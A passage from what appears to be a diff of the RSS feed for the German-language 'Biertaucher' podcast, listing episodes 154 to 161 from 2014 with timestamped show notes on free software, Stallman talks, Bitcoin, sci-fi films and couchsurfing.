+</li><li> <a href="http://spielend-programmieren.at/biertaucherfiles/2014-06-12-folge161_couchsurfing_interview_with_indonesian_journalist.mp3">Couchsurfing in Indonesia (ca. 10 min, englisch)</a> in diesem Podcast ab 0:58:18
+</li><li> <a href="http://spielend-programmieren.at/biertaucherfiles/2014-06-12-folge161_couchsurfing_in_london.mp3">Couchsurfing-Community in London (ca. 5 min, deutsch)</a> in diesem Podcast ab 0:52:55
+</li><li> <a href="http://spielend-programmieren.at/biertaucherfiles/2014-06-12-folge161_couchsurfing_interview_spanish.mp3">Vor-und Nachteile von Couchsurfing (1 min, spanisch)</a> in diesem Podcast ab 0:00:00
+</li><li> 0:31:26 frei im Netz anschaubare Zeichentrickserie: <a href="http://video.adultswim.com/rick-and-morty/">Rick und Morty</a>
+</li><li> 0:35:30 Liste von <a href="http://hackerspaces.org/wiki/Austria">Hackerspaces im Österreich</a>
+</li><li> 0:36:30 selbstironisch: <a href="http://youtu.be/TKQzmD3-SoM">10 Jahre Bildblog</a>
+</li><li> 0:37:19 Tech-Meldung: Tesla (E-Autos) <a href="http://www.heise.de/newsticker/meldung/Tesla-Motors-All-our-patents-are-belong-to-you-2221152.html">gibt Patente frei</a>...mehr oder weniger
+</li><li> 0:38:47 Games: <a href="http://www.gamasutra.com/view/news/215817/QA_How_selfpublishing_brought_Age_of_Wonders_3_back_to_life.php">Age of Wonders 3</a> wird ohne Publisher produziert, <a href="http://www.gamingonlinux.com/articles/age-of-wonders-iii-strategy-game-confirmed-for-linux.3890">Linux Portierung</a> angekündigt
+</li><li> 0:39:52 Tech-Meldung: <a href="http://futurezone.at/produkte/galaxy-s4-imitat-wird-mit-trojaner-ausgeliefert/70.376.298">Smartphone-Trojaner</a> ab Werk
+</li><li> 0:40:25 Tech-Meldung: <a href="http://futurezone.at/produkte/microsoft-office-funktioniert-nach-update-nicht-mehr/70.347.855">Microsoft-Office Update</a> führt dazu das Microsoft Office unbenutzbar wird.
+</li><li> 0:40:52 schöner so-tun-als-arbeiten: <a href="http://futurezone.at/produkte/nerf-spielzeug-im-test-mehr-spass-im-grossraumbuero/69.176.193">Nerfgun</a>-Video der Futurezone-Redaktion auf Youtube
+</li><li> 0:41:20 (wir flüchten vor feierwütigen Fußballfans)
+</li><li> 0:43:10 <a href="http://www.businessinsider.com/linus-torvalds-qa-2014-6">Linus Thorvalds</a> findet nicht jeder muss programmieren lernen (aber jeder sollte die Gelegenheit dazu haben)
+</li><li> 0:44:34 gut gealtert: 1994 Film: <a href="http://www.amazon.de/gp/product/B00004U9QY/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B00004U9QY&linkCode=as2&tag=spielendprogr-21">Surviving the Game</a> Menschenjagd im Film mit Ice_T und Ruthger Hauer
+</li><li> 0:48:08 Nachtrag zu Folge 160 zu Startup-Vortrag: Kickstarter ist eine Verkaufsplattform
+</li><li> 0:49:44 Tratsch und Anekdoten: RMS Stallman im Wohnzimmer - Wie es ist Stallman zu hosten
+</li><li> 0:52:55 Couchsurfing Interview: Marlene erzählt von ihren Couchsurfing-Meetings in London
+</li><li> 0:58:18 Couchsurfing Interview: Miss Vega (Indonesien) erzählt über Couchsurfing in Indonesien
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher161.mp3" length="51094010" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>kostenlose Zeichentrickserie, lebende Couchsurfer, polnische Pythonistas, Menschenjagd im Film, Stallman im Wohnzimmer und jede Menge Tech-Meldungen…</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/zA0xjB http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:10:54</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 161, Couchsurfing, BeWelcome, GnuPG, FreeCiv, Krautreporter, Journalismus, DeCorrespondent, Ikeahacking, Rick und Morty, Bildblog, Tesla, Age of Wonders 3, Trojaner, Microsoft Office, Fail, Nerfgun, Surviving the game, Stallman
+</itunes:keywords>
+</item>
+
+
+
+
+<item>
+ <title>Biertaucher Folge 160</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:160</link>
+ <pubDate>Thu, 12 Jun 2014 11:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher160.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:160&amp;title=Biertaucher%20Folge%20160&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/XIPwcD oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/XIPwcD">hier klicken um die Shownotes zur Folge 160</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung
+</li><li> 0:00:46 Worüber wir reden werden
+</li><li> 0:01:47 Buchbesprechung: <a href="https://lh5.googleusercontent.com/-Z35zFr2DeWs/U5lUYWsI3TI/AAAAAAAABwo/2upI4vgFu8c/w1154-h866-no/IMG_20140607_175757.jpg">Endlich Kokain</a> von <a href="http://jetzt.sueddeutsche.de/texte/anzeigen/288825/Wer-ist-Joachim-Lottmann">Joachim Lottman</a>: Abnehmen und Charakterveränderung in Wien mittels Kokain...
+</li><li> 0:07:28 Auslobung des Biertaucherpodcast-Literaturpreises für die erste literarische Erwähnung des Biertaucherpodcasts in einem Roman (ein Dose Gösser)
+</li><li> 0:08:15 Feuerwehreinsatz wegen brennenden Papiercontainer in Brigittenauerlände 4
+</li><li> 0:14:14 <a href="http://www.sciencefictionimpark.at/">Filmfestival Science Fiction im Park</a>: <a href="https://de.wikipedia.org/wiki/Captain_America_(1990)">Captain America</a> (1990, direct-to-video)
+</li><li> 0:17:45 Internet of Things (/OSDomotics) Vortrag im Wiener <a href="http://www.stockwerk.co.at/">Co-Working-Space Stockwerk</a>: <a href="http://www.meetup.com/IoT-Vienna/events/183209612/">[Vortrag u.a. von Gerald Bäck</a> über gründen und scheitern von Startups.
+</li><li> 0:30:10 Filmfestival Science Fiction im Park: <a href="https://en.wikipedia.org/wiki/King_of_the_Rocket_Men">Der König der Raktenmänner (1949)</a>
+</li><li> 0:33:30 Filmfestival Science Fiction im Park: <a href="http://www.amazon.de/gp/product/B002SPY1CI/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B002SPY1CI&linkCode=as2&tag=spielendprogr-21">K20 die Legende der schwarzen Maske</a> 40-Jahre Alternativ-Japan Szenario: Zeppelin-<a href="https://en.wikipedia.org/wiki/Autogyro">Autogyro</a>-Träger!
+</li><li> 0:40:19 Filmfestival Science Fiction im Park: <a href="http://www.amazon.de/gp/product/B002RBN2KK/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=B002RBN2KK&linkCode=as2&tag=spielendprogr-21">Captain Berlin versus Hitler</a> (verfilmtes Theaterstück): Mad Scientist, Hitlers Hirn, Dracula, Frankenstein, Nazis...
+</li><li> 0:43:10 weitere Filme die Gregor nicht so gefallen haben
+</li><li> 0:44:10 Crowdfunding Kampagne für <a href="https://krautreporter.de/das-magazin">Magazin von Krautreporter</a> mit Stefan Niggemeier
+</li><li> 0:45:00 Flattr verwendet Mango anstatt PayPal als Zahlungsdienstleister
+</li><li> 0:46:45 Danksagung an Sven Guckes für die Links zum Biertaucherpodcast 159. Biertaucher mit Shownotes auf Youtube: automatisches Vor/zurückspulen durch Klick auf Zeitmarke, automatisches Untertitel-Feature (leider noch unbrauchbar), Biertaucher auf Internetarchive.org, Biertaucher aktzeptier Litecoins
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher160.mp3" length="35317409" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>ScienceFiction (im Park), Feuerwehreinsatz in Wien, schöner Scheitern mit Startups, Buchbesprechung: Endlich Kokain</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/XIPwcD http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:49:00</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 160, Wien, Endlich Kokain, Feuerwehreinsatz, Internet of Things, OSDomotics, Stockwerk, Gerald Bäck, Startup, König der Raketenmänner, K20 die Legende der schwarzen Maske, Captain Berlin vs Hitler
+</itunes:keywords>
+</item>
+
+
+
+
+<item>
+ <title>Biertaucher Folge 159</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:159</link>
+ <pubDate>Fri, 06 Jun 2014 14:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher159.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:159&amp;title=Biertaucher%20Folge%20159&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN, Sven GUCKES und Michael EBNER plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/hekwvz oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/hekwvz">hier klicken um die Shownotes zur Folge 159</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B>, <b>Sven GUCKES</B> und <b>Michael EBNER</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung und Zischgeräusch (2. Anlauf)
+</li><li> 0:00:44 Worüber wir reden werden
+</li><li> 0:02:33 Tech-Meldungen: Samsung hat <a href="https://en.wikipedia.org/wiki/Tizen_OS">Tizen Mobil OS</a> herausgebracht
+</li><li> 0:04:30 <a href="https://de.wikipedia.org/wiki/TrueCrypt">True Crypt</a> pleite? Proprietäre Datenverschlüsselung wird nicht mehr weiterentwickelt?
+</li><li> 0:07:17 <a href="https://en.wikipedia.org/wiki/Warrant_canary">Warrant Canary</a> Alarm 2004 ?. Umgang mit NSA und Kundenkomprimittierung (Schlüsselherausgabe) bei <a href="https://en.wikipedia.org/wiki/Lavabit">Lavabit</a>
+</li><li> 0:11:40 Michael macht ein Foto
+</li><li> 0:12:26 Kann ich die NSA als Backup-Service verwenden?
+</li><li> 0:13:50 Horst verwendet (wegen Johnny) <a href="https://play.google.com/store/apps/details?id=com.mycelium.wallet&hl=de">Mycelium</a> als Bitcoin Wallet fürs Smartphone
+</li><li> 0:17:04 Sven redet über ein großes Linuxbuch aus Graz, kann sich aber nicht genau erinnern
+</li><li> 0:17:30 Sven und Michael erzählen über die <a href="http://www.linuxwochen.at/index.php?option=com_content&view=article&id=14&Itemid=9">Linuxwochen Eisenstadt</a>
+</li><li> 0:21:35 Horst war beim RMS Stallman Vortrag (Predigt) am FH Technikum Wien <a href="http://quintessenz.at/d/000100029321">Copyright vs. Community</a>, Stallman's "Du sollst nicht" Liste, Gnusense Linux, <a href="http://fsf.org">Stallman's Homepage: FSF.org</a>, Harry_Potter, Disney's Mickeymaus-Gesetzte, Amerika's Plutokratie, Obama Administration, Humble-Ebook-Bundle, Copyrightbeschränkung
+</li><li> 0:34:22 RMS Stallman über Kunst, Piraterie, Right 2 Share. <a href="https://en.wikipedia.org/wiki/Peter_Sunde">Peter Sunde (Piratenpartei)</a> in Schweden festgenommen.
+</li><li> 0:36:40 RMS Stallman's Überlegungen zu Künstlerentschädigung und Musik
+</li><li> 0:43:02 RMS Stallman über <a href="https://flattr.com">Flattr</a>, Frage & Antwort Teil nach dem Vortrag
+</li><li> 0:44:53 Sven über die <a href="https://www.stallman.org/saintignucius.jpg">Church of Emacs</a> - Supergau mit Stallman-Mail im Spamfilter
+</li><li> 0:48:15 Podiumsdiskussions-Mikrofon-Missbrauch. Grottenschlechte Diskussionskultur. Sven's Tipp: Mikrofon niemals aus der Hand geben.
+</li><li> 0:51:19 Sven war in Linz: <a href="http://www.ufg.ac.at/Newsdetail.1899+M5764ba0b723.0.html">Art meets radical Openess</a>, Design von Bahnhofsbänken und Mistkübeln
+</li><li> 0:58:04 Was Sven an Linz gefällt: Wanderweg über den Dächern der Stadt durch Kichtürme, W-Lan in Badessen und öffentlichen Verkehrsmitteln
+</li><li> 1:00:43 Datum für Linuxwochen Wien 2015 steht fest: 7. bis 9. Mai 2015 FH Technikum Wien, 1200 Wien, Sticker
+</li><li> 1:03:10 Vorträge und Podcasts transkribieren, Untertiteln
+</li><li> 1:04:11 Linzer Regionalwährung Punk Austria: <a href="http://fm4.orf.at/stories/1709093/">Gibling</a> von Franz Xaver
+</li><li> 1:08:00 Michael über sein Mobiki Elektro Klapp-Fahrrad (offiziell **kein** Transformer), Michael's Erlebnisse mit dem Klapprad in den Wiener Verkehrsbetrieben.
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher159.mp3" length="53794862" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Sven war zahlt in Linz Künstler mit Giblingen, Michael überzeugt darf mit seinem Elektro-Transformerzweirad im Bus fahren, Horst war am Stallman Vortrag</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/hekwvz http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:14:39</itunes:duration>
+<itunes:keywords>Biertaucher Podcast 159 RMS Stallman Elektrofahrrad Klapprad Linz Gibling Regionalwährung Linuxwochen Eisenstadt Tizen TrueCrypt Warrant_Canary Lavabit NSA Mycelium Copyright GPL Peter_Sunde Künstlerentschädigung Right_to_Share Radical_Openess
+</itunes:keywords>
+</item>
+
+
+
+
+
+<item>
+ <title>Biertaucher Folge 158</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:158</link>
+ <pubDate>Thu, 29 May 2014 11:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher158.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:158&amp;title=Biertaucher%20Folge%20158&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/AqWbYi oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/AqWbYi">hier klicken um die Shownotes zur Folge 158</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B> und <b>Johnny ZWENG</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ ><li> 0:00:00 Begrüßung, worüber wir reden werden
+</li><li> 0:02:45 Gregors SciFi-Marathon, Teil 1: aus Südkorea: <a href="https://en.wikipedia.org/wiki/Snowpiercer">Snowpiercer</a>
+</li><li> 0:07:00 Johnny hat eine Alternative zur Youtube-App gefunden: <a href="https://play.google.com/store/apps/details?id=com.Mata.YTplayer&hl=de">Viral</a>, neues Layout bei Google+
+</li><li> 0:12:47 SciFi Film: <a href="https://en.wikipedia.org/wiki/The_Host_(2013_film)">The Host (Seelen)</a>, romantische Aliens nisten in unserem Rückenmark, von der Twilight Autorin
+</li><li> 0:18:18 Skateboardende Väter mit Kind im Arm.
+</li><li> 0:19:00 <a href="http://newsbtc.com/2014/05/23/central-european-bitcoin-expo-change-venue-now-taking-place-tu-wien/">Bitcoin Expo Konferenz in Wien</a> am Wochenende in der TU-Wien. Vortragende: <a href="https://en.wikipedia.org/wiki/Vitalik_Buterin">Vitalin Buterin</a> und <a href="https://de.wikipedia.org/wiki/Richard_Stallman">Richard Stallman</a>
+</li><li> 0:23:15 SciFi aus der Schweiz: <a href="https://de.wikipedia.org/wiki/Hell_(2011)">Hell</a> post-akopalytischer Endzeit-Film
+</li><li> 0:25:00 opens-source Alternative zu Minecraft: <a href="http://minetest.net/">Minetest</a>, installierbar, aber leider nicht spielbar auf einem Rasperry Pi, Minetest modden mit <a href="https://de.wikipedia.org/wiki/Lua">Lua</a>
+</li><li> 0:27:26 Gregor hört alle Folgen vom <a href="http://lila-podcast.de/">Lila Podcast</a>: Feminismus und Frauenthemen, gut und charmant erklärt
+</li><li> 0:30:44 <a href="http://alm.at/">Niko Alm</a>'s (Nudelsieb!) <a href="http://derstandard.at/2000001555980/Erste-Bitcoin-Konferenz-am-Wochenende-in-Wien">parlamentarische Anfrage betreffend Bitcoin</a>
+</li><li> 0:35:40 SciFi: <a href="https://en.wikipedia.org/wiki/The_Warriors_(film)">Warriors (1979)</a> von Walter Hill, 80-er Jahre Gang Action Drama mit guter Musik
+</li><li> 0:41:15 Horst hat endlich ausgelesen: <a href="http://www.amazon.de/gp/product/1846147581/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=1846147581&linkCode=as2&tag=spielendprogr-21">The world until yesterday, what we can learn from ancient societys</a> von Jarred Diamond. Vergleich westliche Lebenswelt - Dschungel, Tabus und Vorsicht, vermeidbare Risikien
+</li><li> 0:57:00 SciFi Film: <a href="https://en.wikipedia.org/wiki/Brainstorm_(1983_film)">Brainstorm</a>
+</li><li> 1:01:55 Kino: <a href="https://de.wikipedia.org/wiki/Beziehungsweise_New_York">Beziehungsweise New York</a>, (The Chinese Puzzzle): Nach-Nachfolger der l'herberge espaniol - Multikulterelle Beziehungsturbulenzen
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher158.mp3" length="48838598" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor schaut sich 5 (!) Science-Fiction Filme an und hört feministischen Podcast, Horst mag Beziehngsweise New York und Jarred Diamnonds Bücher, Johnny schaut Youtube mit Viral und freut sich auf die Bitcoin-Konferenz in Wien am Wochenende.</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/AqWbYi http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:07:46</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 158, Snow Piercer, Viral, The Host, Bitcoin, Stallman, Vitalin Buterin, Hell, Minetest, Lua, Feminismus, Lila Podcast, Niko Alm, Warriors, The world until yesterday, Jarred Diamond, Brainstorm, Beziehungsweise New York
+</itunes:keywords>
+</item>
+
+
+
+<item>
+ <title>Biertaucher Folge 157</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:157</link>
+ <pubDate>Tue, 20 May 2014 12:15:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher157.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:157&amp;title=Biertaucher%20Folge%20157&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS und Gregor PRIDUN plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/1JieeX oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/1JieeX">hier klicken um die Shownotes zur Folge 157</a> zu sehen</i><br></br>
+ <b>Horst JENS</B> und <b>Gregor PRIDUN</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> Shownotes in Arbeit
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher157.mp3" length="37761843" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Linux Mint, SciFi im Park, Naturvölker, Polizeigewalt…</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/1JieeX http://biertaucher.at
+</itunes:summary>
+<itunes:duration>0:52:23</itunes:duration>
+<itunes:keywords>Biertaucher Podcast 157 Linux_Mint, SciFi_im_Park Kino Wien Polizei Demonstration Balluch Naturvölker Polizeigewalt
+</itunes:keywords>
+</item>
+
+
+
+
+<item>
+ <title>Biertaucher Folge 156</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:156</link>
+ <pubDate>Sat, 17 May 2014 12:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher156.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:156&amp;title=Biertaucher%20Folge%20156&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Gregor PRIDUN und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/qEdLSX oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/qEdLSX">hier klicken um die Shownotes zur Folge 156</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Gregor PRIDUN</B> und <b>Johnny ZWENG</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ <li> 0:00:00 Begrüßung (aus dem alten AKH)
+</li><li> 0:02:18 Kunst / Politik: Gregor war in Berlin bei der <a href="http://www.sueddeutsche.de/kultur/ai-weiwei-ausstellung-in-berlin-aus-der-welt-des-misstrauens-1.1928417">Ai WeiWei Ausstellung</a>
+</li><li> 0:05:06 Softdrinks: Gregors Beobachtungen über die Mate-Drinker Szene in Berlin:
+</li><li> <a href="http://gekko-mate.de/">Gekko-Mated</a> Ulti-mate ?
+</li><li> <a href="http://www.flora-power.de/">Flora-power</a>
+</li><li> <a href="http://hacker.brau.se/2013/08/club-mate-granat/">Granatapfel</a>
+</li><li> 0:10:16 Bericht vom <a href="http://linuxwochen.at/index.php?option=com_content&view=article&id=376&Itemid=3">Linuxtag Wien</a>. Vorträge mit Infrastruktrleiter vom FH Technikum, Raspberry Pi's im Gebäudeleitsystem, FH-Online Verein, User-Interfaces für Tiere (und Biologen), freies Echtzeit-Strategie-Spiel: <a href="http://play0ad.com/">0 A.D. (Zero-A-D)</a>
+</li><li> 0:16:55 Johnny bringt sein altes Nexus-Handy auf Vordermann und öffnet das Gehäuse (geklebter Akku)
+</li><li> 0:21:34 Wiener Linuxtag Vortrag: Linux in Indien von Florian Schirg, Open-Source Lehrer Initiative in <a href="https://en.wikipedia.org/wiki/Kerala">Kerala</a> (südwestlicher indischer Bundesstaat). Internetkiosk in jedem Dorf, lokalisierung in kleinere Sprachen
+</li><li> 0:25:28 Gregors Re:Publica Bericht von der Station in Berlin sowie, Yes-Men und David Hesselhoff:
+</li><li> <a href="http://re-publica.de/session/ueberwachung-macht-impotent-neue-narrative-gegen-ueberwachung">Session Karig Friedemann "Ãœberwachung macht impotent"</a>
+</li><li> <a href="http://re-publica.de/session/sprachpolizeiliche-ermittlungen">Session Anatol Stefanowitsch "Sprachpolizeiliche Ermittlungen"</a>
+</li><li> <a href="https://www.youtube.com/watch?v=3hbEWOTI5MI">Session: Sascha Lobo "Rede zur Lage der Nation" Sascha Lobo</a>
+</li><li> <a href="http://re-publica.de/session/our-fear-and-apathy-towards-smartphone-attacks">Session: Linus Neumann "On our fear and apathy towards smartphone attacks"</a>
+</li><li> <a href="http://re-publica.de/session/freiheit-und-vorhersage-ueber-ethischen-grenzen-big-data">[Session: Viktor Mayer-Schönberger "Freiheit und Vorhersage: Über die ethischen Grenzen von Big Data"</a>
+</li><li> <a href="https://www.youtube.com/watch?v=ddK1ui1UUys">Session: Sarah Spieckermann "Die ethische Maschine"</a>
+</li><li> <a href="http://re-publica.de/session/podlove-matrix">Session: Tim Pritlove "Die Podlove Matrix"</a>
+</li><li> <a href="http://re-publica.de/session/ich-lernte-ueberwachung-lieben">Felix Schwenzel "Wie ich lernte die Ãœberwachung zu lieben"</a>
+</li><li> 0:46:12 Wir werden von unserem Freund, dem Hausmeister, an die frische Luft komplimentiert
+</li><li> 0:47:19 RePublica: Das Internet muss Vergessen -
+</li><li> 0:52:00 RePublica: BigData Vortrag. Semantisches Wiki für Podcast/Shownotes von Timprit
+</li><li> 0:54:33 Deutschsprachige Podcasts auf Reddit: <a href="http://www.reddit.com/r/de_podcasts">reddit.com/r/de_podcasts</a>
+</li><li> 0:55:40 Berliner Linuxtag und Droidcom
+</li><li> 0:58:25 Johnny baut Papiergeld: Bitcoin-Paperwallets mit öffentlichem und (versiegeltem) privatem Schlüssel
+</li><li> 1:01:39 Bitcoin Wallet <a href="https://play.google.com/store/apps/details?id=com.mycelium.wallet&hl=de">Mycelium</a> arbeitet an einer Bitcoin-Hardware. Offene Hardware / Software und "echte" Zufallszahlen
+</li><li> 1:05:16 <a href="http://play0ad.com/">0.A.D</a>: komplett freies (Open Source, Creative-Commons) Spiel (Wiener Linuxtag Vortrag), Mitwirkende (Tester, Grafiker, Szenario-Designer) werden gesucht.
+</li><li> 1:08:59 Bitcoin-Konferenzen in Amsterdam und Wien
+</li><li> 1:09:28 Horst warnt vor Zeitvernichter: Faster than Light FLT (Steam) , süchtig machendes Rogue-Like im Weltraum
+</li><li> 1:10:29 Buch: <a href="http://www.amazon.de/gp/product/0143124404/ref=as_li_ss_tl?ie=UTF8&camp=1638&creative=19454&creativeASIN=0143124404&linkCode=as2&tag=spielendprogr-21">The World until yesterday, what we can learn from traditional societys</a>
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher156.mp3" length="56335532" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Gregor war auf der Res:publica und berichtet, Johnny druckt Biertaucherbitcoins, Horst war auf Vorträgen auf den Wiener Linuxtagen</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/qEdLSX http://biertaucher.at
+</itunes:summary>
+<itunes:duration>1:18:11</itunes:duration>
+<itunes:keywords>Biertaucher Podcast 156 republica Linuxtag Wien Berlin Bitcoin Mate China Ai_Wei_Wei 0AD RealTimeStrategy Game Indien Kerala Internetkiosk Florian_Schirg Open_FH Tiere Bitcoin Paperwallet Mycelium FTL The_World_until_yesterday Naturvölker
+</itunes:keywords>
+</item>
+
+
+
+
+<item>
+ <title>Biertaucher Folge 155</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:155</link>
+ <pubDate>Wed, 07 May 2014 20:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher155.mp3</guid>
+ <atom:link rel="payment" href="https://flattr.com/submit/auto?user_id=horstjens&amp;url=http%3A%2F%2Fspielend-programmieren.at%2Fde:podcast:biertaucher:2014:155&amp;title=Biertaucher%20Folge%20155&amp;language=de_DE&amp;category=audio" type="text/html"/>
+ <description>Horst JENS, Florian SCHWEIKERT und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen. Shownotes auf http://goo.gl/3P7xMj oder http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+
+ <i>Bitte <a href="http://goo.gl/3P7xMj">hier klicken um die Shownotes zur Folge 155</a> zu sehen</i><br></br>
+ <b>Horst JENS</B>, <b>Florian SCHWEIKERT</B> und <b>Johnny ZWENG</B> plaudern über freie Software andere Nerd-Themen.
+<br></br>
+ <img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a>Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+
+<ul>
+ Shownotes sind in Arbeit
+</li>
+</ul>
+
+ ]]></content:encoded>
+<enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher155.mp3" length="9825475" type="audio/mpeg"/>
+<itunes:explicit>No</itunes:explicit>
+<itunes:subtitle>Kleiner Ersatzpodcast ohne Gregor, direkt aus dem Metalab</itunes:subtitle>
+<itunes:summary>Shownotes: http://goo.gl/3P7xMj http://biertaucher.at
+</itunes:summary>
+<itunes:duration>00:13:34</itunes:duration>
+<itunes:keywords>Biertaucher, Podcast, 155
+</itunes:keywords>
+</item>
+
+
+<item>
+ <title>Biertaucher Folge 154</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2014:154</link>
+ <pubDate>Tue, 29 Apr 2014 15:45:00 +0100</pubDate>
